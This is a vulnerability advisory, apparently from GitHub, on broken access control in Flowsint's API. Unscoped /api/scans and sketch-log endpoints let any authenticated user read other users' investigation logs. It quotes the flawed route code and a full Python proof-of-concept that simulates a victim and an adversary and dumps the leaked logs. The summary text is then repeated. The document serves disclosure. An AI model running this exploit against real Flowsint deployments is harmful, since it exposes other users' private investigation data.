Summary
Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. The nodes can have automated processes execute on them called 'transformers', and the output of these are logged. These logs are scoped to each sketch. An adversary can acquire sketch IDs that have had transformers execute, and then access the logs of those sketches of other users.
Detail
Selecting a node and running any transform will pass the task to celery and initialise a 'scan'. The scans are accessible with any authentication. Within 'flowsint-api/app/api/routes/scan.py' on lines 13-22 is the following code snippet:
# Get the list of all scans
@router.get(
"",
response_model=List[ScanRead],
)
def get_scans(
db: Session = Depends(get_db), current_user: Profile = Depends(get_current_user)
):
scans = db.query(Scan).all()
return scans
This is accessible from /api/scans and retrieves all scans in the database. A sample response contains the following:
[
{
"id":"52940dcc-16cc-41f6-83de-27ecd203020e",
"sketch_id":"e291f2aa-0174-454b-95eb-094004c4773d",
"status":"COMPLETED"
}
]
The 'sketch_id' of a scan has now been leaked.
With the 'sketch_id', an adversary can now obtain the logs of a sketch. Within 'flowsint-api/app/api/routes/events.py' on lines 17-74 is this code snippet:
@router.get("/sketch/{sketch_id}/logs")
def get_logs_by_sketch(
sketch_id: str,
limit: int = 100,
since: datetime | None = None,
db: Session = Depends(get_db),
# current_user: Profile = Depends(get_current_user)
):
"""Get historical logs for a specific sketch with optional filtering"""
# Check if sketch exists
sketch = db.query(Sketch).filter(Sketch.id == sketch_id).first()
# <--SNIP-->
return results
The 'current_user' is commented out and not used for querying the results table, allowing any adversary to access the logs of any sketch.
Impact
An adversary can monitor what transformers are being run on another sketch, and if those logs contain relationship payloads for the graph such as 'GRAPH_APPEND', an adversary can gather information about what nodes are within another sketch. This could allow an adversary to compromise what another investigation is being used for without any access to the investigation, its sketches or analyses.
PoC
#!/venv/bin/python3
import argparse
import random
import string
import time
import requests
# Made by sealldev
def random_string(length: int):
"""
Generate a random string of letters and numbers of a specified length.
"""
return "".join(random.choices(string.ascii_letters + string.digits, k=length))
class User:
"""
Manages a user.
"""
def __init__(self):
self.username = random_string(20)
self.password = random_string(20)
self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
self.session = requests.Session()
self.remote_ip = "localhost"
self.remote_port = 5001
self.insecure = False
self.url = ""
self.headers = {}
self.verbose = False
def register_user(self):
"""
Register a user on the /api/auth/register endpoint with randomly generated values.
"""
json_payload = {
"username": self.username,
"email": self.email,
"password": self.password,
}
res = self.session.post(
f"{self.url}/api/auth/register",
json=json_payload,
verify=(not self.insecure),
)
if not res.status_code == 201:
raise ValueError(
f"[x] Expecting status code 201, recieved {res.status_code}"
)
res_data = res.json()
message = res_data.get("message", "")
if not message == "User registered successfully":
raise ValueError(
f'[x] Expected successful registration message, recieved "{message}".'
)
print("[+] User successfully registered!")
if self.verbose:
print(f" - Username: {self.username}")
print(f" - Email: {self.email}")
print(f" - Password: {self.password}")
return
def get_token(self):
"""
With a valid user's credentials, get a token for a user.
"""
payload = {"username": self.email, "password": self.password}
res = self.session.post(f"{self.url}/api/auth/token", data=payload)
res_data = res.json()
access_token = res_data.get("access_token", False)
if not access_token:
raise ValueError(
f"[x] Exploitation failed, access token was not found in response.\n - {res_data}"
)
self.headers = {"Authorization": f"Bearer {access_token}"}
print("[+] Got access token!")
if self.verbose:
print(f" - {access_token}...")
return
def create_investigation(self):
"""
Create an investigation project, to then create a sketch within in 'create_sketch()'.
"""
json_payload = {"name": random_string(20), "description": random_string(20)}
res = self.session.post(
f"{self.url}/api/investigations/create",
json=json_payload,
headers=self.headers,
)
res_data = res.json()
investigation_id = res_data.get("id", False)
if not investigation_id:
raise ValueError(
f"[x] Exploitation failed, investigation id was not found in response.\n - {res_data}"
)
print('[+] Created an investigation "' + json_payload["name"] + '"')
if self.verbose:
print(f" - Investigation ID: {investigation_id}")
return investigation_id
def create_sketch(self, investigation_id):
"""
Create a sketch to execute the vulnerability within.
"""
json_payload = {
"title": random_string(20),
"description": random_string(20),
"investigation_id": investigation_id,
}
res = self.session.post(
f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
)
res_data = res.json()
sketch_id = res_data.get("id", False)
if not sketch_id:
raise ValueError(
f"[x] Exploitation failed, sketch id was not found in response.\n - Response: {res.content}\n - Payload: {json_payload}"
)
print('[+] Created an sketch "' + json_payload["title"] + '"')
if self.verbose:
print(f" - Sketch ID: {sketch_id}")
return sketch_id
# sealldev: make a username node and then create logs from it
def create_username_node(self, sketch_id):
"""
Create a username node on the sketch for sample log creation.
"""
json_payload = {
"type": "custom",
"label": "sealldev",
"data": {"name": "sealldev", "label": "sealldev", "type": "username"},
}
res = self.session.post(
f"{self.url}/api/sketches/{sketch_id}/nodes/add",
json=json_payload,
headers=self.headers,
)
if not res.status_code == 200:
raise ValueError(
f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
)
print("[+] Created organisation node on the sketch")
return
def create_logs_from_username(self, sketch_id):
"""
Using the username_to_socials_maigret transformer, create some logs.
"""
if not sketch_id:
print("[x] Cannot launch transform without a sketch ID.")
return
json_payload = {
"values": ["sealldev"],
"sketch_id": sketch_id,
}
res = self.session.post(
f"{self.url}/api/transforms/username_to_socials_maigret/launch",
json=json_payload,
headers=self.headers,
)
if not res.status_code == 200:
raise ValueError(
f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
)
res_data = res.json()
log_id = res_data.get("id", False)
if not log_id:
raise ValueError(
f"[x] Exploitation failed, no id found in response\n - Response: {res_data}"
)
print("[+] Transformer started with username to start a scan.")
if self.verbose:
print(f" - Transformer Action ID: {log_id}")
def get_scan_list(self):
"""
Get list of scans done on the application.
"""
res = self.session.get(
f"{self.url}/api/scans",
headers=self.headers,
)
if not res.status_code == 200:
raise ValueError(
f"[x] Unexpected status code when getting list of scans, expected 200 recieved {res.status_code}"
)
res_data = res.json()
if len(res_data) == 0:
print("[-] No entries in the scan logs")
return False
print(f"[+] Found {len(res_data)} entries in the scan logs")
return res_data
def get_logs(self, sketch_id):
"""
Get logs by it's sketch ID.
"""
res = self.session.get(
f"{self.url}/api/events/sketch/{sketch_id}/logs",
headers=self.headers,
)
if not res.status_code == 200:
raise ValueError(
f"[x] Unexpected status code when getting scan, expected 200 recieved {res.status_code}"
)
res_data = res.json()
if len(res_data) == 0:
raise ValueError("[x] No data in scan")
return res_data
def clear_scan_list(self):
"""
Get list of scans done on the application.
"""
res = self.session.delete(
f"{self.url}/api/scans",
headers=self.headers,
)
if not res.status_code == 204:
raise ValueError(
f"[x] Unexpected status code when clearing scan list, expected 204 recieved {res.status_code}"
)
return
class BacSketchLogs:
"""
A generalised class to manage the web sessions and values for the exploit.
"""
def __init__(self):
self.remote_ip = "localhost"
self.remote_port = 5001
self.insecure = False
self.url = ""
self.headers = {}
self.payload = ""
self.verbose = False
def exploit(self):
"""
Execute the exploit.
"""
victim_user = User()
adversary_user = User()
users = [victim_user, adversary_user]
for n, user in enumerate(users):
print(
f'[+] Creating user #{n+1} - {"victim" if n == 0 else "adversary"}...'
)
user.url = self.url
user.verbose = self.verbose
user.insecure = self.insecure
user.register_user()
user.get_token()
# This is just to clean up previous attempts, it could be done without
# but for examples sake, this is the simplest way to ensure success.
adversary_user.clear_scan_list()
print(" --- Victim Actions ---")
victim_investigation_id = victim_user.create_investigation()
victim_sketch_id = victim_user.create_sketch(victim_investigation_id)
victim_user.create_logs_from_username(victim_sketch_id)
print(" --- Adversary Actions ---")
while True:
adversary_scan = adversary_user.get_scan_list()
if adversary_scan and adversary_scan[0].get("status", None) == "COMPLETED":
break
elif not adversary_scan:
print("[-] No entries, trying again in 10s...")
time.sleep(10)
elif not adversary_scan[0].get("status", None) == "COMPLETED":
print("[-] Scan not completed, trying again in 10s...")
time.sleep(10)
adversary_sketch_id = adversary_scan[0].get("sketch_id", None)
if not adversary_sketch_id == victim_sketch_id:
raise ValueError(
f"[x] The sketch ids are mismatched.\n - Victim: {victim_sketch_id}\n - Adversary: {adversary_sketch_id}"
)
print(
f"[+] Leaked sketch ID {adversary_sketch_id} from victim scan, matches victim sketch ID"
)
adversary_log_data = adversary_user.get_logs(adversary_sketch_id)
print(f"[+] Leaked {len(adversary_log_data)} logs:")
for log in adversary_log_data:
print(log)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-rp",
"--remote-port",
help="The port for the remote Flowsint API (Default: 5001).",
default=5001,
)
parser.add_argument(
"-ri",
"--remote-ip",
help="The IP for the remote Flowsint API (Default: localhost).",
default="localhost",
)
parser.add_argument(
"-v",
"--verbose",
help="Enable verbosity in logging for extra detail when debugging (Default: False).",
action="store_true",
)
parser.add_argument(
"-k",
"--insecure",
help="Utilise HTTP for a connection to the website (Default: False).",
action="store_true",
)
args = parser.parse_args()
exploit = BacSketchLogs()
if args.remote_port:
exploit.remote_port = args.remote_port
if args.remote_ip:
exploit.remote_ip = args.remote_ip
if args.insecure:
exploit.insecure = args.insecure
if args.verbose:
exploit.verbose = args.verbose
exploit.url = (
f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
)
exploit.exploit()
Summary
Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. The nodes can have automated processes execute on them called 'transformers', and the output of these are logged. These logs are scoped to each sketch. An adversary can acquire sketch IDs that have had transformers execute, and then access the logs of those sketches of other users.
Detail
Selecting a node and running any transform will pass the task to celery and initialise a 'scan'. The scans are accessible with any authentication. Within 'flowsint-api/app/api/routes/scan.py' on lines 13-22 is the following code snippet:
This is accessible from
/api/scansand retrieves all scans in the database. A sample response contains the following:[ { "id":"52940dcc-16cc-41f6-83de-27ecd203020e", "sketch_id":"e291f2aa-0174-454b-95eb-094004c4773d", "status":"COMPLETED" } ]The 'sketch_id' of a scan has now been leaked.
With the 'sketch_id', an adversary can now obtain the logs of a sketch. Within 'flowsint-api/app/api/routes/events.py' on lines 17-74 is this code snippet:
The 'current_user' is commented out and not used for querying the results table, allowing any adversary to access the logs of any sketch.
Impact
An adversary can monitor what transformers are being run on another sketch, and if those logs contain relationship payloads for the graph such as 'GRAPH_APPEND', an adversary can gather information about what nodes are within another sketch. This could allow an adversary to compromise what another investigation is being used for without any access to the investigation, its sketches or analyses.
PoC